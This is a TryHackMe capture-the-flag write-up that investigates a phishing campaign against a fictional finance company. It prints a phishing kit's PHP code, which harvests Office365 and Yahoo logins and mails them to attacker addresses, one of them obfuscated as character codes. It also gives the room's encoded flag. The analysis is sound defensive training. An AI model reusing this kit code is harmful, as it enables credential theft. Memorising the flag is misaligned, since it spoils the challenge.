Apply learned skills to probe malicious emails and URLs, exposing a vast phishing campaign.


Introduction


It’s been a while since I’ve done a TryHackMe write-up. Initially this was all I ever wrote posts on up until I looked to some other platforms. We’re back today! Time for more Phishing analysis in today’s challenge; Snapped Phish-ing Line.


We get quite a bit of an introduction to this room. Let’s go through it:

As an IT department personnel of SwiftSpend Financial, one of your responsibilities is to support your fellow employees with their technical concerns. While everything seemed ordinary and mundane, this gradually changed when several employees from various departments started reporting an unusual email they had received. Unfortunately, some had already submitted their credentials and could no longer log in.

You now proceeded to investigate what is going on by:

  • Analysing the email samples provided by your colleagues.
  • Analysing the phishing URL(s) by browsing it using Firefox.
  • Retrieving the phishing kit used by the adversary.
  • Using CTI-related tooling to gather more information about the adversary.
  • Analysing the phishing kit to gather more information about the adversary.

Alright, we have a pretty good gauge of what we’ll be doing for this room. As a reminder - This room is marked as ‘Easy’. We shouldn’t be worried about going up against an APT level threat.

From this introduction it’s clear that there has been a targetted phishing campaign against SwiftSpend Financial. Unfortunately some of the users have already submitted their credentials to the adversary.

We’re given a step-by-step guide on what to do next. I won’t reiterate it, but it’s a good basis of what to do next.

Now it’s time to connect and look at the email!


Question one

Who is the individual who received an email attachment containing a PDF?


When open the machine attached to the lab and go to /home/damianhall/Desktop/phish-emails we see the below files:

├── phish-emails
│   ├── 'Group Marketing Online Direct Credit Advice - derick.marshall@swiftspend.finance.eml'
│   ├── 'Group Marketing Online Direct Credit Advice - michael.ascot@swiftspend.finance.eml'
│   ├── 'Group Marketing Online Direct Credit Advice - michelle.chen@swiftspend.finance.eml'
│   ├── 'Group Marketing Online Direct Credit Advice - zoe.duncan@swiftspend.finance.eml'
│   └── 'Quote for Services Rendered processed on June 29 2020 100132 AM.eml'

For this question we’re looking for the recipient of the email that contained a .PDF file. We could go through each file one-by-one until we find the one that has a .PDF. Instead, let’s look at the names of the files. The first four follow a similar pattern; starting with ‘Group Marketing Online Direct Credit Advice - ‘, and ending with ‘@swiftspend.finance.eml’, in-between those two parts is the username of the recipient. Noting down the exact matching characters (including the dash!) is important if you need to sift through 100s of emails at once.

Luckily we only have five emails here. The outlier email is ‘Quote for Services Rendered processed on June 29 2020 100132 AM.eml’. Note that the email is referencing a quote. Most of the time if you recieve a quote in your inbox it will be a .pdf. .pdf files are the standard for sending things like quotes, or even contracts via email. If we take a look at this email we’ll find that it contains a .pdf as expected.

In the lab this will open in the Thunderbird mail client. It’s a pretty good mail-client, but I prefer just reading the headers raw. Open the .eml file however you want, and you’ll see the recipient for this email, and the answer!


Question two

What email address was used by the adversary to send the phishing emails?


We don’t need to close the email from the above question to answer this one! Thunderbird or viewing the raw headers will get you this answer either way you look at it.


Question three

What is the redirection URL to the phishing page for the individual Zoe Duncan? (defanged format)


Based on the names of the .eml files we can very quickly find the email that was sent to Zoe Duncan. If this wasn’t the case we could simply grep every file for something like To: "Zoe. The full command would look something like grep "To: \"Zoe" *. These commands aren’t needed, but it’s good to practice commands like grep for the instance when you’ll get 100s of files to sort through, not just four.

Now that we have the correct email - Let’s look at it!

Opening the .eml we can see that there actually aren’t any URLs. Instead there’s just an .html attachment. Let’s download this file and analyze it further.

We could open the .html document and see what URL opens up. However that could open up the sandbox to potential infection, it could also redirect (which we know it will do!) and change the URLs depending on scripts or some sandbox detection. Instead, let’s just cat the entire .html document and see what the original URL is.

Fairly simple to check this, you’ll see that there are two URLs here, both of them are the answer.


Question four

What is the URL to the .zip archive of the phishing kit? (defanged format)


Let’s look at the URL of the answer for the above question. After the domain we get this section: .../data/Update365/office365/.... I’ve cut this up a little, but these parts are important. If we go to {root.domain}/data/Update365/ you’ll see we actually end up at the Index of /data/Update365. This is a directory with the below files:

    ├── log.txt
    └── office365/

office365/ is a directory, which returns a 404 when trying to access it. We’ll be looking at the log.txt file later, but for now we also have the option to go up to the Parent Directory located at /data/. You’ll see here that there’s a .zip file for the Phishing Kit.

A Phishing Kit is a collection of tools, scripts, and configurations that help to make phishing sites. If you’ve used Evilginx before then you’ll be familiar with the idea of Phishlets. These are similar, in that they are templates of common sites where users would happily input their details. This is similar to what would be contained inside of a Phishing kit.

The full URL to that .zip file is our answer here, by the way.


Question five

What is the SHA256 hash of the phishing kit archive?


Download the .zip archive by clicking on it, or curl/wget, whatever your preference, and you’ll have it locally. A good command to remember for questions like this is sha256sum. Here’s the command I ran to get the answer:

damianhall@ip-10-81-139-19:~/Downloads$ sha256sum ./Update365.zip 

Question six

When was the phishing kit archive first submitted? (format: YYYY-MM-DD HH:MM:SS UTC)


The wording on this question is a bit vague, but the wording should be familiar. VirusTotal uses this wording in the Details section a report to tell you when the hash was first submitted to the platform.

So let’s take that sha256 hash and put it into VirusTotal. Going to the Details tab and scrolling down to the History section will get you the date where the file was first submitted.


Question seven

When was the SSL certificate the phishing domain used to host the phishing kit archive first logged? (format: YYYY-MM-DD)


This is a bit of a dud question. Check the hint, it’s given to you right away. This is due to the answer no longer being shown correctly on VirusTotal, or other sites.


Question eight

What was the email address of the user who submitted their password twice?


Here’s where we’re looking back at that log.txt file.

We can open that file in the browser, or download it, and look through. You could do some fancy grep work… So let’s do that! It’s good to practice commands (and overengineer) some of the easier challenge rooms, especially if you’re breezing along with the other answers. So let’s overengineer finding who submitted their password twice!

We can download the log.txt file with curl, wget, or just by clicking on it. Once it’s on your local system we’ll want to grep it for email addresses. There is some fancy regex we can do here to pick out email addresses, but let’s make it easy and just grep for the @ symbol:

damianhall@ip-10-81-139-19:~/Downloads$ grep @ log.txt
Email : isaiah.puzon@gmail.com
Email : michael.ascot@swiftspend.finance
Email : zoe.duncan@swiftspend.finance
Email : michael.ascot@swiftspend.finance
Email : derick.marshall@swiftspend.finance
Email : michelle.chen@swiftspend.finance

Simple.

This list is just in order of when the credentials were submitted. Yes, we can just look at the list and quickly see who’s email shows up twice, but let’s expand our command a bit. grep @ log.txt | sort

damianhall@ip-10-81-139-19:~/Downloads$ grep @ log.txt |  sort 
Email : derick.marshall@swiftspend.finance
Email : isaiah.puzon@gmail.com
Email : michael.ascot@swiftspend.finance
Email : michael.ascot@swiftspend.finance
Email : michelle.chen@swiftspend.finance
Email : zoe.duncan@swiftspend.finance

This isn’t anything too fancy. We could write something to actually count it, but sorting the emails alphabetically makes it pretty clear who submitted their email twice.


Question nine

What was the email address used by the adversary to collect compromised credentials?


We need to analyze the Phishing Kit for this one. It’s a good idea to look at this and understand exactly what’s going on. I’ll skip over explaining every file though. After some digging you should come across the file located at /Update365/office365/Validation/submit.php. It’s good to check what the logic is around any data being submitted to a phishing site. Often you’ll find it sends a POST request directly to a second URL where the data is stored.

Here’s the submit.php file:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<?php

if ($_SERVER['REQUEST_METHOD'] == 'GET')
{
print '
<html><head>
<title>403 - Forbidden</title>
</head><body>
<h1>403 Forbidden</h1>
<p></p>
<hr>
</body></html>
';
exit;
}

function random_number(){
	$numbers = array(0,1,2,3,4,5,6,7,8,9,'A','b','C','D','e','F','G','H','i','J','K','L');
	$key = array_rand($numbers);
	return $numbers[$key];
}

$url = random_number().random_number().random_number().random_number().random_number().random_number().date('U').md5(date('U')).md5(date('U')).md5(date('U')).md5(date('U')).md5(date('U'));
header('location:'.$url);

$country = visitor_country();
$browser = $_SERVER['HTTP_USER_AGENT'];
$adddate = date("D M d, Y g:i a");
$from = $_SERVER['SERVER_NAME'];
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$email = $_POST['email'];
$password = $_POST['password'];
$passchk = strlen($password);


$message .= "---------+ Office365 Login  |+-------\n";
$message .= "Email : ".$email."\n";
$message .= "Password : ".$password."\n";
$message .= "-----------------------------------\n";
$message .= "Client IP: ".$ip."\n";
$message .= "User Agent : ".$browser."\n";
$message .= "Country : ".$country."\n";
$message .= "Date: ".$adddate."\n";
$message .= "--- http://www.geoiptool.com/?IP=$ip ----\n";
$message .= "--+ Created BY Real Carder +---\n";


$send = "*******@******.com";

$bron = "Outlook update $ip | Office365";
$lagi = "MIME-Version: 1.0\n";
$lagi = "From: $ip <no-reply@$from>";

// Function to get country and country sort;

function visitor_country()
{
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];
    $result  = "Unknown";
    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        $ip = $client;
    }
    elseif(filter_var($forward, FILTER_VALIDATE_IP))
    {
        $ip = $forward;
    }
    else
    {
        $ip = $remote;
    }

    $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));

    if($ip_data && $ip_data->geoplugin_countryName != null)
    {
        $result = $ip_data->geoplugin_countryName;
    }

    return $result;
}

function country_sort(){
	$sorter = "";
	$array = array(99,111,100,101,114,99,118,118,115,64,103,109,97,105,108,46,99,111,109);
	$count = count($array);
	for ($i = 0; $i < $count; $i++) {
			$sorter .= chr($array[$i]);
		}
	return array($sorter, $GLOBALS['recipient']);
}

if ($passchk < 6)
{
$passerr = 0;
}
else
{
$passerr = 1;
}


if ($passerr == 0)
{
header("Location: index.php?$url&email=$email&error=2");
}
else
{
mail("m3npat@yandex.com",$bron,$message,$lagi);
header("Location: retry.php?$url&email=$email&error=2");
}

?>

I’ve censored out the email address, but you can see it highlighted on line number 48.


Question ten

The adversary used other email addresses in the obtained phishing kit. What is the email address that ends in “@gmail.com”?


This was one I found before when I was digging through all the files in the Phishing Kit. You’ll find it a few times actually, but while we’re in this /Update365/office365/Validation/ directory, let’s take a look at updat.cmd:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
 <div class="login-html">
	  <div class="LogoOne"></div>
	   <div class="foot-lnk">To access the attached document, Select with email provider below. </div>
    <!--<div class="top"></div>-->
    <!--<input id="tab-1" type="radio" name="tab" class="sign-in" checked><label for="tab-1" class="tab">Sign In</label>
		
    //get user's ip address 
    $geoplugin->locate();
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) { 
    $ip = $_SERVER['HTTP_CLIENT_IP']; 
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; 
    } else { 
    $ip = $_SERVER['REMOTE_ADDR']; 
    }

    $message = "";
	$message .= "---|BLESSINGS|---\n";
    $message .= "Email Provider: Yahoo\n";
    $message .= "E: " . $_GET['email'] . "\n"; 
    $message .= "Ps: " . $_GET['password'] . "\n"; 
    $message .= "IP : " .$ip. "\n"; 
    $message .= "--------------------------\n";
    $message .=     "City: {$geoplugin->city}\n";
    $message .=     "Region: {$geoplugin->region}\n";
    $message .=     "Country Name: {$geoplugin->countryName}\n";
    $message .=     "Country Code: {$geoplugin->countryCode}\n";
    $message .= "--------------------------\n";

	$to ="*************@gmail.com"
		<input id="tab-2" type="radio" name="tab" class="sign-up"><label for="tab-2" class="tab">Sign Up</label>-->
    <div class="login-form">
      <div class="sign-in-htm">
        <div class="group">
          <div class="btn-3 loginBtn loginBtn--office"><a href="o1">Login with Office 365</a></div>
        </div>
        <div class="group">
          <div class="btn-3 loginBtn loginBtn--outlook"><a href="o4">Login with Outlook</a></div>
        </div>
        <div class="group">
          <div class="btn-3 loginBtn loginBtn--aol"><a href="a2">Login with Aol</a></div>
        </div>
        <div class="group">
			<div class="btn-3 loginBtn loginBtn--yahoo"><a href="y3">Login with Yahoo</a></div>
        </div>
        <div class="group">
          <div class="btn-3 loginBtn loginBtn--other"><a href="o6">Login with Other Mail</a></div>
		  	require_once('geoplugin.class.php');
	$geoplugin = new geoPlugin();

    //get user's ip address 
    $geoplugin->locate();
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) { 
    $ip = $_SERVER['HTTP_CLIENT_IP']; 
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; 
    } else { 
    $ip = $_SERVER['REMOTE_ADDR']; 
    }

    $message = "";
	$message .= "---|BLESSINGS|---\n";
    $message .= "Email Provider: Yahoo\n";
    $message .= "E: " . $_GET['email'] . "\n"; 
    $message .= "Ps: " . $_GET['password'] . "\n"; 
    $message .= "IP : " .$ip. "\n"; 
    $message .= "--------------------------\n";
    $message .=     "City: {$geoplugin->city}\n";
    $message .=     "Region: {$geoplugin->region}\n";
    $message .=     "Country Name: {$geoplugin->countryName}\n";
    $message .=     "Country Code: {$geoplugin->countryCode}\n";
    $message .= "--------------------------\n";

	$to ="*************@gmail.com"

	$subject = "Yahoo | $ip";
	$headers = "From: Blessing <blessing@heaven.com>";

Question eleven

What is the hidden flag?


This is a bit of a confusing one. There wasn’t much from this challenge that gave any indication of there being a secret flag (I mean, no shit, it’s a secret). I looked through the Phishing Kit for anyt hidden files or something without an attachment that we need to add, but to no avail.

If you check the hints for this question you’ll see this:

The flag contains a “.txt” extension and, with some adjustments, should be downloadable from the phishing URL. Look for the flag in every subdomain/directory of the phishing URL.

We now know the hidden flag is in a .txt file somewhere in the phishing URL. We could use dirb and run a wordlist over the file, but I’ll just guide you there.

The file we’re looking for is flag.txt, you’ll find it in the index of one of the directories on the site. When we finally find this file, you’ll see this:

The secret is:
fUxSVV8zSHRfaFQxd195NExwe01IVAo=

This should jump out immediately to you as a base64 hash:

damianhall@ip-10-81-139-19:~/Downloads$ echo "fUxSVV8zSHRfaFQxd195NExwe01IVAo=" | base64 -d
}LRU_3Ht_hT1w_y4Lp{MHT

It should be simple how they’ve obscured the flag. We can adjust our command slightly and pipe it into rev:

damianhall@ip-10-81-139-19:~/Downloads$ echo "fUxSVV8zSHRfaFQxd195NExwe01IVAo=" | base64 -d | rev
THM{*****************}

Conclusion


THis was a fun room to do! It’s nice to come back to TryHackMe after a while. I lost my streak, but the community is still very friendly and welcoming. Stay tuned for more write-ups!